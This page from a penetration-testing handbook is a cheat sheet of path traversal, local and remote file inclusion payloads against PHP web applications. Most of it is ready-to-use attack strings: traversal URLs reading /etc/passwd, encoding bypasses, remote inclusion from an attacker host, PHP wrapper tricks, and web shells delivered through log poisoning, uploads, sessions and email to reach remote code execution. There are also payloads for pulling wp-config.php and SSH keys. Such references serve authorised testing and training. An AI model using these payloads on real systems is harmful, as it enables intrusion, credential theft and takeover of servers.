> For the complete documentation index, see [llms.txt](https://book.turbosec.net/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://book.turbosec.net/all-the-other-layers-recon/web-recon/path-traversal-and-lfi-rfi.md).

# Path traversal & LFI/RFI

## Basic path traversal

```
http://website.com/index.php?page=../../../etc/passwd
```

### Inside the same directory

```python
http://website.com/index.php?page=dir1/dir2/../../../../../etc/passwd
```

{% hint style="info" %}
**Remote File Inclusion (RFI):** The file is loaded from a remote server (RWX). In php this is **disabled** by default (**allow\_url\_include**).\
**Local File Inclusion (LFI):** The sever loads a local file (Read-only)
{% endhint %}

Here is a list to my gist holding a list of a bunch of paths to try. <https://gist.github.com/TurboWindX/9e4f753868de11b2f96bc3c74dc320ef>\
<https://gist.github.com/TurboWindX/37454e618bcf8ed4ff8eed7a169ee6bf>

## Filter Bypass

### **Encoding**

Encode path traversal payload into different encoding such as double-URL, etc.

```
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=....%c0%af//....%c0%af....//%c0%afetc%c0%afpasswd
```

{% hint style="info" %}
Always try to encode once,twice, and thrice. Try unicode. Try harder.
{% endhint %}

Make sure to bypass front-end user input sanitization by using a web proxy such as **ZAProxy** or **burp.**

### **Path truncation**

Bypass the append of more chars at the end of the provided string (bypass of: $\_GET\['param']."php")

```
In PHP: /etc/passwd = /etc//passwd = /etc/./passwd = /etc/passwd/ = /etc/passwd/.
Check if last 6 chars are passwd --> passwd/
Check if last 4 chars are ".php" --> shellcode.php/.
```

```
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd..\.\.\.\.\.\.\.\.\.\.\[ADD MORE]\.\.
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.

#With the next options, by trial and error, you have to discover how many "../" are needed to delete the appended string but not "/etc/passwd" (near 2027)

http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
```

Always try to **start** the path **with a fake directory** (a/).

**This vulnerability was corrected in PHP 5.3.**

## Remote file inclusion

```
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
```

## Wrappers

### Wrapper php\://filter

#### Base64 and rot13

The part "php\://filter" is case insensitive

```
http://example.com/index.php?page=php://filter/read=string.rot13/resource=index.php
http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php
http://example.com/index.php?page=pHp://FilTer/convert.base64-encode/resource=index.php
```

#### zlib (compression)

Can be chained with a **compression** wrapper for large files.

```
http://example.com/index.php?page=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd
```

To read the comppression data you need to decode the base64 and read the resulting data using:

```bash
php -a #Starts a php console
readfile('php://filter/zlib.inflate/resource=test.deflated');
```

**NOTE: Wrappers can be chained**

### Wrapper zip\://

Upload a Zip file with a PHPShell inside and access it.

```bash
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;  
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php

http://example.com/index.php?page=zip://shell.jpg%23payload.php
```

### Wrapper data://

```
http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
```

Fun fact: you can trigger an XSS and bypass the Chrome Auditor with : `http://example.com/index.php?page=data:application/x-httpd-php;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+`

Note that this protocol is restricted by php configurations **`allow_url_open`** and **`allow_url_include`**

### Wrapper expect://

Expect has to be activated. You can execute code using this.

```
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
```

### Wrapper input://

Specify your payload in the POST parameters

```
http://example.com/index.php?page=php://input
POST DATA: <?php system('id'); ?>
```

### Wrapper phar://

A `.phar` file can be also used to execute PHP code if the web is using some function like `include` to load the file.

{% code title="create\_phar.php" %}

```python
<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');

$phar->stopBuffering();
```

{% endcode %}

And you can compile the `phar` executing the following line:

```bash
php --define phar.readonly=0 create_path.php
```

A file called `test.phar` will be generated that you can use to abuse the LFI.

```
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.com/index.php?page=expect://ls
```

#### Wrapper Input

```
http://example.com/index.php?page=php://input
POST DATA: <?php system('whoami'); ?>
```

## LFI->RCE

### Log Poisoning

If the Apache server is vulnerable to LFI inside the include function you could try to access to ***/var/log/apache2/access.log***, set inside the user agent or inside a GET parameter a php shell like `<?php system($_GET['c']); ?>` and execute code using the "c" GET parameter.

Note that **if you use double quotes** for the shell instead of **simple quotes**, the double quotes will be modified for the string "***quote;***", **PHP will throw an error** there and **nothing else will be executed**.

This could also be done in other logs but b**e careful,** the code inside the logs could be URL encoded and this could destroy the Shell. The header **authorisation "basic"** contains "user:password" in Base64 and it is decoded inside the logs. The PHPShell could be inserted inside this header.

```
/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log
```

{% hint style="info" %}
N**ote**: While Path/Directory Traversal may seem similar to Local File Inclusion (LFI) and Remote File Inclusion (RFI), Path/Directory Traversal vulnerabilities only allow an attacker to read a file, while LFI and RFI may also allow an attacker to execute code.
{% endhint %}

### Via Email

Send a mail to a internal account (user\@localhost) containing `<?php echo system($_REQUEST["cmd"]); ?>` and access to the mail ***/var/mail/USER\&cmd=whoami***

### Via /proc/\*/fd/\*

1. Upload a lot of shells (for example : 100)
2. Include <http://example.com/index.php?page=/proc/$PID/fd/$FD>, with $PID = PID of the process (can be brute forced) and $FD the file descriptor (can be brute forced too)

### Via /proc/self/environ

Like a log file, send the payload in the User-Agent, it will be reflected inside the /proc/self/environ file

```
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
```

### Via upload

If you can upload a file, just inject the shell payload in it (e.g : `<?php system($_GET['c']); ?>` ).

```
http://example.com/index.php?page=path/to/uploaded/file.png
```

In order to keep the file readable it is best to inject into the metadata of the pictures/doc/pdf

### Via Zip fie upload

Upload a ZIP file containing a PHP shell compressed and access:

```python
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
```

### Via PHP sessions

Check if the website use PHP Session (PHPSESSID)

```
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
```

In PHP these sessions are stored into */var/lib/php5/sess\\*\[PHPSESSID]\_ files

```
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
```

Set the cookie to `<?php system('cat /etc/passwd');?>`

```
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
```

Use the LFI to include the PHP session file

```
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
```

### Via ssh

If ssh is active check which user is being used (/proc/self/status & /etc/passwd) and try to access **\<HOME>/.ssh/id\_rsa**

### Wordpress

Try following payload to grab wordpress config

```
php://filter/convert.base64-encode/resource=../../../../../wp-config.php
```

### FLASK Template Injection

Use following payload as parameter&#x20;

```
{{ get_user_file("/etc/passwd") }}
```
